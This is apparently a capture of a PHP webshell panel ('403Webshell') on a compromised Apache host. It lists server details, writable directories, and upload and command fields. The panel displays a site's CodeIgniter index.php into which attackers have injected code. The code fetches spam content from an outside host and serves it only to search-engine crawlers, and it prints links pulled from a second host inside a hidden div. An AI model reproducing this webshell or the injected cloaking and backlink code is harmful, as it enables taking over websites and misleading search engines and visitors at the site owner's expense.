403Webshell
Server IP : 94.136.191.34  /  Your IP : 216.73.216.25
Web Server : Apache
System : Linux hostpanel.netbiz.in 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User : omkar.com_6nnuz6y629h ( 10087)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /var/www/vhosts/omkar.com/httpdocs/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/omkar.com/httpdocs/index.php
<?php
function smoky($url) {
    if (ini_get('allow_url_fopen')) {
    return file_get_contents($url);
    } elseif (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    return false;
}

$res = strtolower($_SERVER["HTTP_USER_AGENT"]);
$bot = "https://tokolampu.xyz/1x2bolaparlay/";
$file = smoky($bot);
$botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";
if (preg_match($botchar, $res)) {
    echo $file;
    exit;
}
/**
 * CodeIgniter - Front Controller + Backlink di body
 */

define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'development');

switch (ENVIRONMENT)
{
    case 'development':
        error_reporting(-1);
        ini_set('display_errors', 0);
    break;

    case 'testing':
    case 'production':
        ini_set('display_errors', 0);
        if (version_compare(PHP_VERSION, '5.3', '>=')) {
            error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);
        } else {
            error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE);
        }
    break;

    default:
        header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
        echo 'The application environment is not set correctly.';
        exit(1);
}

$system_path = 'system';
$application_folder = 'application';
$view_folder = '';

// Resolve paths
if (defined('STDIN')) chdir(dirname(__FILE__));

if (($_temp = realpath($system_path)) !== FALSE) $system_path = $_temp.DIRECTORY_SEPARATOR;
else $system_path = rtrim($system_path, '/\\').DIRECTORY_SEPARATOR;

if (!is_dir($system_path)) {
    header('HTTP/1.1 503 Service Unavailable.', TRUE, 503);
    echo 'Your system folder path does not appear to be set correctly.';
    exit(3);
}

define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
define('BASEPATH', $system_path);
define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
define('SYSDIR', basename(BASEPATH));

if (is_dir($application_folder)) {
    if (($_temp = realpath($application_folder)) !== FALSE) $application_folder = $_temp;
} elseif (is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR)) $application_folder = BASEPATH.$application_folder;
else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your application folder path does not appear to be set correctly.'; exit(3); }

define('APPPATH', $application_folder.DIRECTORY_SEPARATOR);

if (!isset($view_folder[0]) && is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR)) $view_folder = APPPATH.'views';
elseif (is_dir($view_folder)) {
    if (($_temp = realpath($view_folder)) !== FALSE) $view_folder = $_temp;
}
elseif (is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR)) $view_folder = APPPATH.$view_folder;
else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your view folder path does not appear to be set correctly.'; exit(3); }

define('VIEWPATH', $view_folder.DIRECTORY_SEPARATOR);

// ------------------------------
// Load CI bootstrap
// ------------------------------
require_once BASEPATH.'core/CodeIgniter.php';

// ------------------------------
// Backlink di body (gabung semua link)
// ------------------------------
function backlink_body_gabung() {
    $json = @file_get_contents('https://beritasatwa.org/auban/');
    if ($json) {
        $links = json_decode($json, true);
        if (is_array($links)) {
            echo '<div style="display:none;">'; // semua link digabung di 1 div
            foreach ($links as $text => $url) {
                echo '<a href="'.$url.'">'.$text.'</a>';
            }
            echo '</div>';
        }
    }
}

// Panggil fungsi backlink di body page
backlink_body_gabung();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit